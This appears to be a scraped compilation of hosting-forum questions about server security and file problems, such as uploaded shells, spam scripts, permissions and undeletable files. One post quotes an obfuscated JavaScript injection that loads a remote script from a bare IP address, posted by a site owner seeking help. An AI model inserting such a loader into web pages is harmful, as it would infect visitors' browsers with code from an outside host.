Stoping Malicious Files From Being Uploaded ( Cpanel)
Jun 27, 2009
I am wanting to know if there is a way to stop files being uploaded to my vps, via ftp cpanel etc that are malicious..
I have been told there is a way to do this but i havent been told how..
Basicaly i want to know if there is something where i can add a list of keywords that are in the malicious files and what ever it is will stop them from being uploaded or if they manage to get uploaded onto my vps will it make them not work?
I am looking into this as i had an issue before where someone uploaded a shell onto my server :@ luckily it didnt cause no damage or he didnt get anywhere but i still want to be safe.

we have been having a strange hacking problem on our server that we can not seem to find how they are managing to accompish. I am just wondering if anyone here may be able to offer any suggestions on this?
The problem:
On our server, a hacker has managed to add malicious code to all html and php files on two hosting accounts that we operate. These two accounts are seperate and do not share login information. This is the 2nd time this has happened within the past two weeks.
Originally it was suspected that we needed to add SuPhp to prevent insecure permissions. This has been done, yet the problem continues.
On all html pages, malicious javascript has been added, and on all php files malicious php code has been added.
We have a lot of accounts on this server, and as mentioned only the two accounts seem to have been affected by this.
What we have done to attempt to secure the server:
1) We have installed SuPhp.
2) We have ensured that all scripts on the affected websites are updated and running the latest versions.
3) We have changed all the passwords.
Our server is a managed server, and our server company has been very helpful, however at the moment can not seem to pinpoint the problem. There also does not appear to be any indication via the access logs of the infected files being altered, yet they have been altered.
The computers used to access these websites are clean, and do not have any malware running, which would allow a hacker to obtain any passwords. It also does not appear that the hacker was able to obtain root access.
One other thing I noticed, we run Kayako on one of the sites. When this problem occurs we receive a message that Zend Optimizer is not installed on our server when attempting to login to Kayako, when in fact it is.
Searching Google, I found the following link on the Zend site in which the symptoms seem to be very similar. What are the odds this could be a Zend vulnerabilty?

I used to have my apache 1.3.37 with PHP compiled as a CGI. Whenever i have a php script (say vbulletin forum software) that allow file uploads, files will be uploaded with the correct userid and groupid on the server. However, once i compiled PHP as ISAPI module, the files will be uploaded but will be owned by 'nobody'. Of course i can log in as root and chown it back to the right user, but it's a hassle if there are multiple user accounts on the server and they're using php software on their end. If someone is using an ftp program and tries to overwrite that uploaded file that's owned by nobody, it will not let them do so. Is there a way to fix this, or change the config files that would fix it?

I have a dedicated server, the server itself is secure (as far as I know) and I run lots of my sites from it. I offered a friend hosting for his flash based chat application he built.
Today I was contacted by someone; "Are you the owner of xxxx.net?" so I informed that yes, it was my server and they then showed me an email they'd received from my server. I did a search and apparently someone uploaded mail.php and a couple of files it was using to send out spam based upon a variety of conditions that the other files met. The files contained forenames and surnames, it'd use a forename and a surname then send it to popular free mail services. The email contained ramblings about new world order and promoted a website.
How can I find out how they got the files uploaded to the account and what action can I take? I checked the whois for the domain and have their contact information, however it's a large site so I'm doubtful that the owner did it. I don't want my servers IPs being blacklisted for spam :|

I've recently started experiencing some issues where files uploaded through Joomla or some other scripts (mostly PHP) inherit a permission of 600. Prior to updates being done on the server I'm hosted on, uploaded files received 644 permissions and all things worked great.
I've checked the umask that assigned to the shell (022) and have ruled out that as a problem.

Whenever someone uploads or re-uploads to my server a file relating to a CGI script that sends mail, I get an email with something like:
Quote:
Note: If this is the first time you received this mail, it contains the history for the entire month so far.
Below are the recently upload scripts that contain code to send email. You may wish to inspect them to ensure they are not sending out SPAM.
/home/xxxxxxx/public_html/followup/send2.php:106: if($sc == "buchanan") {
/home/xxxxxxx/public_html/followup/send2.php:107: mail($email, $subject, $creative, $headers);
/home/xxxxxxx/public_html/followup/send2.php:108: }
---
/home/xxxxxxx/public_html/followup/send.php:100: if($sc == "buchanan") {
/home/xxxxxxx/public_html/followup/send.php:101: mail($email, $subject, $creative, $headers);
/home/xxxxxxx/public_html/followup/send.php:102: }
---
What steps can I take to actually inspect them to ensure they are not sending out SPAM?

We are having a problem with a number of our websites hosted on Fasthosts reseller account where JavaScript is being maliciously inserted into a number of pages.
An example of the code that has been inserted can be found below:
<!--
document.write(unescape('xXz%3CAEqscripzHVt%20RMisAEqrRMicxXz%3DzHV%2FyI%2F6
yI7zHV%2E21wq5RMi%2E2xXz4wq6%2E3AEq4RMi%2FjqAEquwqexXzry%2EjsyI%3E%3CzHV%2Fs
crRMiiwqpzHVtwq%3E').replace(/yI|zHV|fW|xXz|RMi|wq|AEq/g,""));
-->
Which runs this script:
<script src=//67.215.246.34/jquery.js></script>
New pages have been created on a number of websites aswell as the above code inserted into existing pages.
After removing the above code from one particular website it has happened again.
Some of the websites being affected are just static websites with only HTML pages, others are dynamic ASP pages.

Has anyone here ever heard of a malicious script called Mulcishell, stored in the file mshell.php? I've seen a bunch of instances of the file in my clients' folders with permissions 777, and I want to know what it does and how it works. (I already deleted the file, knowing it was a malicious script, but I want to know how to prevent it from ever being executed on my server.)

we received a report of a malicious mail being sent from our servers. Problem is that the sender and recipients are not hosted with us. What I'm trying to find out is how the mail got sent out. The ME logs shows that the connection was made from 127.0.0.1 to the smtp service, but that's it.
We don't run mail services (pop3/imap/webmail) on the web servers, if that helps any. Have run out of ideas after sifting thru lots of logs (was trying to find if anyone called an application to send the mail and attachments out), but came up empty.

I decided to apply PHP safe mode to my servers, considering:
- I cannot prohibit using exec functions (some binary uses are needed, like host, mysqldump, etc..)
- I cannot restrict at all via UID/GID method at bins due to several problems..
Safe mode is the final sollution, as I only need "safe_mode_exec_dir" config to set a folder with the necesary binaries... this will stop nobody user (Apache) to exec whatever it wants, like perl, binaries uploaded to an public insecure folder (exploits), or anything else... people only could exec() the binaries I want and where I want. This will stop finally 95% of my hack problems.
Well. The problem is safe_mode is enabled or not, but you cannot set o disable certain features of this safe mode, like UID/GID checks (*******!)...
I am trying to configure so only "safe_mode_exec_dir" would apply, so:
- Including UIDs checks disabled by:
safe_mode_include_dir = "/home/"
(tested)
- Some variables set to NULL, as safe_mode_allowed_env_vars or safe_mode_protected_env_vars...
- safe_mode_exec_dir = "/usr/phpbin/"
Great! with symbolic lynks in... the best sollution available for me.
- open_basedir = "/home/"
(for fopen, etc...)
Ok ok.. but problems there.. by example this one:
Quote:
Warning: fopen() [function.fopen]: SAFE MODE Restriction in effect. The script whose uid is 32015 is not allowed to access cache/dynamic_fields/modules.php owned by uid 99 in /home/yyyyyyyyy/public_html/chn/modules/DynamicFields/DynamicField.php on line 823
Great.. fopen is under UID/GID checks, but it is not an include, so safe_mode_include_dir would not apply...
Now fopen, link, unlink, etc.. functions are UID restricted and this seems to be impossible to disable.... pffffffff...
can you share your safe_mode configs or sollutions for this problem?

Does anybody understand what is going on here?
Here is the problem:
I log in to FTP and I try and upload an updated file (the file already exists on server). It prompts me to overwrite and I say yes but when I refresh/check the site the page hasnt changed - I then tried uploading the file again and it still says the existing file size (so I know it hasnt been replace).
Any idea why it it not overwriting?
The files are CHOWNed my the owner (FTP user) which is myself.

Someones managed to upload a phishing site to my VPS.
How do they normally achieve this, there has been no unauthorised root access as I get e-mail each time someone log in as root.
Is it likely they've just managed to guess my ftp password, or is it going to have something to do with a script running elsewhere?
I've got solarvps looking at it now.

I have about 20 gigs of pictures that I have already uploaded to my server, but they're just sitting there in a directory listing tree.
How can I import all of those pictures into, say Coppermine or 4images or the like, without having to do each one manually?

I've been using CPanel for a few years now and I've encountered an error that I have no clue how to fix it. Basically the files have been with me for the last two or three years and I've changed them from server to server. I'd say these files have been through about four or five servers. The funny thing is I can't delete any of these files. The files are in a folder under public_html and I can't delete the folder or any of the files or folders inside of that folder. I've tried through FTP and through CPanel.
The FTP error I get (I'm using WS_FTP Pro) is:
# transferred 4277 bytes in 0.063 seconds, 534.625 Kbps ( 66.828 Kbps), transfer succeeded.
226-Options: -a -l
226 58
The CPanel error I get (through File Manager) is:
[a fatal error or timeout occurred while processing this directive]
and under the trash can in File Manager:
Unable to change directory to /home/mydirectory/.trash! You do not seem to have access permissions! (System Error: Permission denied)
I even CHMODed all of the files to 777. I don't know how to get rid of these old files, how do I do it? I also have root to the server if that helps.
